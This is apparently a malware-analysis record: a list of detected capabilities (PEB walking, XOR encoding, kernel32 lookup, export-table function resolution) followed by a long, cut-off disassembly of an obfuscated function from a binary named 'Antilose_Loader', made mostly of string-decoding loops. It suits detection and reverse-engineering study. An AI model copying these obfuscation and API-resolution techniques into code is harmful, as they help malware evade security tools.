Function at 0x140018040
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1490]
mov eax, 0x1590
call fcn.140020b40
sub rsp, rax
mov rax, qword [0x140034010]
xor rax, rsp
mov qword [rbp + 0x1480], rax
xor r14d, r14d
lea rbx, str.Antilose_Loader
mov qword [rsp + 0x48], rbx
mov r10, rbx
mov r11d, r14d
movabs rdi, 0xeb77e614f12a315c
movabs rsi, 0x257ebdb5eb069a9a
movabs r12, 0xe8dbba0bf93d5d8a
movabs r9, 0xa8be3b7924fbb2e8
movabs r15, 0xf7a00c590765717a
movabs r13, 0xb943cdea305752b7
nop
mov dword [rbp + 0x240], 0xdbdad958
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x244], xmm0
mov qword [rbp + 0x254], rax
mov dword [rbp + 0x25c], eax
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
nop dword [rax]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rbp + rax + 0x240]
add rcx, rdi
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x7c
mov rax, qword [rsp + 0x38]
mov byte [rbp + rax + 0x240], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x20
jb 0x140018100
movzx eax, byte [r10]
test byte [rbp + 0x240], al
jne 0x140018164
mov eax, 1
jmp 0x1400190f8
mov dword [rbp - 0x70], 0xabaaad8c
xor eax, eax
mov qword [rbp - 0x6c], rax
mov dword [rbp - 0x64], eax
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
nop
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rbp + rax - 0x70]
add rcx, rsi
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x36
mov rax, qword [rsp + 0x38]
mov byte [rbp + rax - 0x70], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x10
jb 0x140018180
movzx eax, byte [r10]
and eax, dword [rbp - 0x70]
xorps xmm0, xmm0
cmp al, 0xc0
jne 0x140018493
mov dword [rbp + 0x840], 0x4b4a4d6f
movups xmmword [rbp + 0x844], xmm0
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rbp + rax + 0x840]
add rcx, r12
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x3a
mov rax, qword [rsp + 0x38]
mov byte [rbp + rax + 0x840], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x14
jb 0x1400181f5
mov dword [rbp + 0x760], 0xaba4a5ac
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x764], xmm0
mov byte [rbp + 0x774], al
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
movabs r12, 0xb0cfcb08a2b46d45
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rbp + rax + 0x760]
add rcx, r12
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x1d
mov rax, qword [rsp + 0x38]
mov byte [rbp + rax + 0x760], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x15
jb 0x140018273
movabs r12, 0xe8dbba0bf93d5d8a
mov dword [rbp + 0x260], 0xa3a0a1a5
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x264], xmm0
mov qword [rbp + 0x274], rax
mov word [rbp + 0x27c], ax
mov byte [rbp + 0x27e], al
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
movabs r13, 0x4fa40d5618aabbb
nop dword [rax]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rbp + rax + 0x260]
add rcx, r13
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x1d
mov rax, qword [rsp + 0x38]
mov byte [rbp + rax + 0x260], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x1f
jb 0x140018310
mov dword [rbp + 0x3c0], 0x333435f7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3c4], xmm0
mov dword [rbp + 0x3d4], eax
mov byte [rbp + 0x3d8], al
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
movabs r13, 0x7dcef9b0bfb762f9
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rbp + rax + 0x3c0]
add rcx, r13
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x31
mov rax, qword [rsp + 0x38]
mov byte [rbp + rax + 0x3c0], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x19
jb 0x140018394
movabs r13, 0xb943cdea305752b7
mov dword [rbp + 0x80], 0xabaaada2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x84], xmm0
mov qword [rbp + 0x94], rax
mov word [rbp + 0x9c], ax
mov byte [rbp + 0x9e], al
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
movabs rdi, 0xa5916599ac55239a
nop word [rax + rax]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rbp + rax + 0x80]
add rcx, rdi
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x36
mov rax, qword [rsp + 0x38]
mov byte [rbp + rax + 0x80], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x1f
jb 0x140018430
movabs rdi, 0xeb77e614f12a315c
mov eax, dword [rbp + 0x80]
jmp 0x1400190f8
mov dword [rbp + 0x280], 0xb3b2b1a0
xor eax, eax
movups xmmword [rbp + 0x284], xmm0
mov qword [rbp + 0x294], rax
mov word [rbp + 0x29c], ax
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
nop
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rbp + rax + 0x280]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x58
mov rax, qword [rsp + 0x38]
mov byte [rbp + rax + 0x280], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x1e
jb 0x1400184c0
mov r9d, dword [rbp + 0x280]
mov dword [rbp + 0x780], 0x23222d0c
xorps xmm0, xmm0
movups xmmword [rbp + 0x784], xmm0
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
movabs rsi, 0x4d4091f42459006
nop dword [rax]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rbp + rax + 0x780]
add rcx, rsi
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x2a
mov rax, qword [rsp + 0x38]
mov byte [rbp + rax + 0x780], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x14
jb 0x140018540
movabs rsi, 0x257ebdb5eb069a9a
movzx eax, byte [r10]
and eax, r9d
cmp eax, dword [rbp + 0x780]
jne 0x140018a0b
mov dword [rbp + 0x2a0], 0x2b2a2d1f
xor eax, eax
mov qword [rbp + 0x2a4], rax
mov dword [rbp + 0x2ac], eax
mov word [rbp + 0x2b0], ax
mov byte [rbp + 0x2b2], al
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
nop dword [rax + rax]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rbp + rax + 0x2a0]
add rcx, r15
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x56
mov rax, qword [rsp + 0x38]
mov byte [rbp + rax + 0x2a0], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x13
jb 0x1400185e0
mov dword [rbp + 0x200], 0x232021d2
xor eax, eax
mov qword [rbp + 0x204], rax
mov dword [rbp + 0x20c], eax
mov word [rbp + 0x210], ax
mov byte [rbp + 0x212], al
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
movabs r12, 0xf7790952992d15b
nop dword [rax + rax]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rbp + rax + 0x200]
add rcx, r12
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x7d
mov rax, qword [rsp + 0x38]
mov byte [rbp + rax + 0x200], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x13
jb 0x140018670
mov dword [rbp + 0x3e0], 0x1b1a1919
xor eax, eax
mov qword [rbp + 0x3e4], rax
mov dword [rbp + 0x3ec], eax
mov byte [rbp + 0x3f0], al
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
movabs r15, 0xf4d663b6599c6f54
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rbp + rax + 0x3e0]
add rcx, r15
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x4c
mov rax, qword [rsp + 0x38]
mov byte [rbp + rax + 0x3e0], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x11
jb 0x1400186f1
movabs r15, 0xf7a00c590765717a
mov dword [rbp + 0x400], 0x1b1a195f
xor eax, eax
mov qword [rbp + 0x404], rax
mov dword [rbp + 0x40c], eax
mov word [rbp + 0x410], ax
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
movabs r13, 0xe98cd8f543b70884
nop dword [rax]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rbp + rax + 0x400]
add rcx, r13
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x64
mov rax, qword [rsp + 0x38]
mov byte [rbp + rax + 0x400], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x12
jb 0x140018780
movabs r13, 0xb943cdea305752b7
mov dword [rbp + 0x420], 0xc3c2c1c6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x424], xmm0
mov qword [rbp + 0x434], rax
mov byte [rbp + 0x43c], al
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
movabs rsi, 0x460e4083e3276e20
nop
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rbp + rax + 0x420]
add rcx, rsi
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x20
mov rax, qword [rsp + 0x38]
mov byte [rbp + rax + 0x420], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x1d
jb 0x140018810
movabs rsi, 0x257ebdb5eb069a9a
mov dword [rbp + 0x1e0], 0xfbf8f9c7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1e4], xmm0
mov dword [rbp + 0x1f4], eax
mov word [rbp + 0x1f8], ax
mov byte [rbp + 0x1fa], al
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
movabs r12, 0x2108dffdf4b529ff
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rbp + rax + 0x1e0]
add rcx, r12
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 7
mov rax, qword [rsp + 0x38]
mov byte [rbp + rax + 0x1e0], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x1b
jb 0x1400188a5
movabs r12, 0xe8dbba0bf93d5d8a
mov dword [rbp + 0x440], 0xb3b2b1b2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x444], xmm0
mov qword [rbp + 0x454], rax
mov dword [rbp + 0x45c], eax
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
movabs rdi, 0xb73086ffc829b218
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rbp + rax + 0x440]
add rcx, rdi
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x58
mov rax, qword [rsp + 0x38]
mov byte [rbp + rax + 0x440], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x20
jb 0x140018934
mov dword [rsp + 0x60], 0x2b2a2d23
xor eax, eax
mov qword [rsp + 0x64], rax
mov dword [rsp + 0x6c], eax
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
movabs rdi, 0xd5cd3e872612e15a
nop dword [rax]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rsp + rax + 0x60]
add rcx, rdi
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x76
mov rax, qword [rsp + 0x38]
mov byte [rsp + rax + 0x60], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x10
jb 0x1400189b0
movabs rdi, 0xeb77e614f12a315c
mov eax, dword [rsp + 0x60]
jmp 0x1400190ee
mov dword [rbp + 0xc0], 0xbbb8b94e
xor eax, eax
mov qword [rbp + 0xc4], rax
mov dword [rbp + 0xcc], eax
mov word [rbp + 0xd0], ax
mov byte [rbp + 0xd2], al
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
nop dword [rax + rax]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rbp + rax + 0xc0]
add rcx, r13
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
dec r8b
mov rax, qword [rsp + 0x38]
mov byte [rbp + rax + 0xc0], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x13
jb 0x140018a40
mov r9d, dword [rbp + 0xc0]
mov dword [rbp + 0x460], 0xebd4d526
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x464], xmm0
mov word [rbp + 0x474], ax
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
movabs r15, 0x4924a6aec0bba65d
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rbp + rax + 0x460]
add rcx, r15
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x75
mov rax, qword [rsp + 0x38]
mov byte [rbp + rax + 0x460], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x16
jb 0x140018ac5
movzx eax, byte [r10]
and eax, r9d
cmp eax, dword [rbp + 0x460]
jne 0x140019112
mov dword [rbp + 0x7a0], 0x8b8a8d87
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x7a4], xmm0
mov byte [rbp + 0x7b4], al
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
movabs rsi, 0xbb542cd036ef496a
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rbp + rax + 0x7a0]
add rcx, rsi
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x1a
mov rax, qword [rsp + 0x38]
mov byte [rbp + rax + 0x7a0], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x15
jb 0x140018b56
mov dword [rbp + 0x220], 0x33323122
xor eax, eax
mov qword [rbp + 0x224], rax
mov dword [rbp + 0x22c], eax
mov word [rbp + 0x230], ax
mov byte [rbp + 0x232], al
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
movabs r12, 0x9451de141dfae458
nop
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rbp + rax + 0x220]
add rcx, r12
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x68
mov rax, qword [rsp + 0x38]
mov byte [rbp + rax + 0x220], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x13
jb 0x140018be0
mov dword [rbp + 0x480], 0xf3f2cdcd
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x484], xmm0
mov word [rbp + 0x494], ax
mov byte [rbp + 0x496], al
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
movabs rdi, 0x42e7fe0edcb163de
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rbp + rax + 0x480]
add rcx, rdi
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x12
mov rax, qword [rsp + 0x38]
mov byte [rbp + rax + 0x480], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x17
jb 0x140018c65
mov dword [rbp + 0x1c0], 0xeb1415d7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1c4], xmm0
mov qword [rbp + 0x1d4], rax
mov word [rbp + 0x1dc], ax
mov byte [rbp + 0x1de], al
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
movabs r12, 0x605f1e9b8c627fd
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rbp + rax + 0x1c0]
add rcx, r12
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x15
mov rax, qword [rsp + 0x38]
mov byte [rbp + rax + 0x1c0], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x1f
jb 0x140018cf1
mov dword [rbp + 0x4a0], 0x5b5a596c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4a4], xmm0
mov dword [rbp + 0x4b4], eax
mov word [rbp + 0x4b8], ax
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
movabs rsi, 0xaeb6d842889cc5cc
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rbp + rax + 0x4a0]
add rcx, rsi
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x6c
mov rax, qword [rsp + 0x38]
mov byte [rbp + rax + 0x4a0], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x1a
jb 0x140018d76
mov dword [rbp + 0x4c0], 0x4b444587
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4c4], xmm0
mov word [rbp + 0x4d4], ax
mov byte [rbp + 0x4d6], al
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
movabs r13, 0xb430270e9fc16835
nop dword [rax + rax]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rbp + rax + 0x4c0]
add rcx, r13
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x73
mov rax, qword [rsp + 0x38]
mov byte [rbp + rax + 0x4c0], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x17
jb 0x140018e00
movabs r13, 0xb943cdea305752b7
mov dword [rbp + 0x4e0], 0xf3f28d8a
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4e4], xmm0
mov dword [rbp + 0x4f4], eax
mov byte [rbp + 0x4f8], al
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
movabs r12, 0xf5490e1f9655f6be
nop
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rbp + rax + 0x4e0]
add rcx, r12
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x32
mov rax, qword [rsp + 0x38]
mov byte [rbp + rax + 0x4e0], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x19
jb 0x140018e90
movabs r12, 0xe8dbba0bf93d5d8a
mov dword [rbp - 0x30], 0x63626166
xor eax, eax
mov qword [rbp - 0x2c], rax
mov dword [rbp - 0x24], eax
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
movabs r15, 0xa3a06205fa24e9b0
nop dword [rax]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rbp + rax - 0x30]
add rcx, r15
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x30
mov rax, qword [rsp + 0x38]
mov byte [rbp + rax - 0x30], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x10
jb 0x140018f10
mov dword [rbp + 0x3a0], 0x636261bf
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3a4], xmm0
mov qword [rbp + 0x3b4], rax
mov dword [rbp + 0x3bc], eax
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
movabs rdi, 0x8ae004dec1317b0
nop
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rbp + rax + 0x3a0]
add rcx, rdi
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x30
mov rax, qword [rsp + 0x38]
mov byte [rbp + rax + 0x3a0], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x20
jb 0x140018f90
movabs rdi, 0xeb77e614f12a315c
mov dword [rbp - 0x40], 0xfbf8f9c3
xor eax, eax
mov qword [rbp - 0x3c], rax
mov dword [rbp - 0x34], eax
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
movabs rsi, 0x25f42317309949df
nop dword [rax]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rbp + rax - 0x40]
add rcx, rsi
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x19
mov rax, qword [rsp + 0x38]
mov byte [rbp + rax - 0x40], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x10
jb 0x140019010
movabs rsi, 0x257ebdb5eb069a9a
mov dword [rbp + 0x7c0], 0xeb949592
xorps xmm0, xmm0
movups xmmword [rbp + 0x7c4], xmm0
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
movabs r15, 0xb5fa9c4e92afad3d
nop word [rax + rax]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rbp + rax + 0x7c0]
add rcx, r15
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x55
mov rax, qword [rsp + 0x38]
mov byte [rbp + rax + 0x7c0], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x14
jb 0x140019090
movabs r15, 0xf7a00c590765717a
mov eax, dword [rbp + 0x7c0]
movabs r9, 0xa8be3b7924fbb2e8
inc r11d
cdqe
add r10, rax
cmp byte [r10], r14b
jne 0x1400180d0
mov r10, 0xffffffffffffffff
jmp 0x14001911c
mov r10, 0xffffffffffffffff
mov r11d, r10d
mov dword [rbp + 0x500], 0xb3b2b1b1
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x504], xmm0
mov word [rbp + 0x514], ax
mov qword [rsp + 0x38], r14
mov rax, qword [rsp + 0x38]
movabs r9, 0xa7472787aeb68898
nop dword [rax]
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x38]
movzx edx, byte [rbp + rax + 0x500]
add rcx, r9
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x28
mov rax, qword [rsp + 0x38]
mov byte [rbp + rax + 0x500], r8b
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp rax, 0x16
jb 0x140019150
mov r15d, dword [rbp + 0x500]
add r15d, r11d
mov dword [rsp + 0x38], r15d
movsxd rcx, r15d
mov eax, 2
mul rcx
cmovo rax, r10
mov rcx, rax
call fcn.14001f644
mov qword [rsp + 0x50], rax
mov r10, rax
mov qword [rsp + 0x40], rax
mov r13d, r14d
nop dword [rax]
nop dword [rax + rax]
mov dword [rbp + 0x1a0], 0xdbdad958
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1a4], xmm0
mov qword [rbp + 0x1b4], rax
mov dword [rbp + 0x1bc], eax
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x20
jae 0x140019261
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rbp + rax + 0x1a0]
add rcx, rdi
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x7c
mov rax, qword [rsp + 0x30]
mov byte [rbp + rax + 0x1a0], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x20
jb 0x140019213
movzx eax, byte [rbx]
test byte [rbp + 0x1a0], al
jne 0x14001927a
movzx r9d, ax
mov ecx, 1
jmp 0x14001a3f4
mov dword [rbp - 0x60], 0xabaaad8c
xor eax, eax
mov qword [rbp - 0x5c], rax
mov dword [rbp - 0x54], eax
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x10
jae 0x1400192e8
nop word [rax + rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rbp + rax - 0x60]
add rcx, rsi
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
sub r8b, 0x36
mov rax, qword [rsp + 0x30]
mov byte [rbp + rax - 0x60], r8b
mov rax, qword [rsp + 0x30]
inc rax
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp rax, 0x10
jb 0x1400192a0
movzx eax, byte [rbx]
and eax, dword [rbp - 0x60]
xorps xmm0, xmm0
cmp al, 0xc0
jne 0x1400195ea
mov dword [rbp + 0x7e0], 0x4b4a4d6f
movups xmmword [rbp + 0x7e4], xmm0
mov qword [rsp + 0x30], r14
mov rax, qword [rsp + 0x30]
cmp rax, 0x14
jae 0x14001936e
nop word [rax + rax]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x30]
movzx edx, byte [rbp + rax + 0x7e0]
add rcx, r12
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x3a
mov rax, qword [rsp + 0x30]
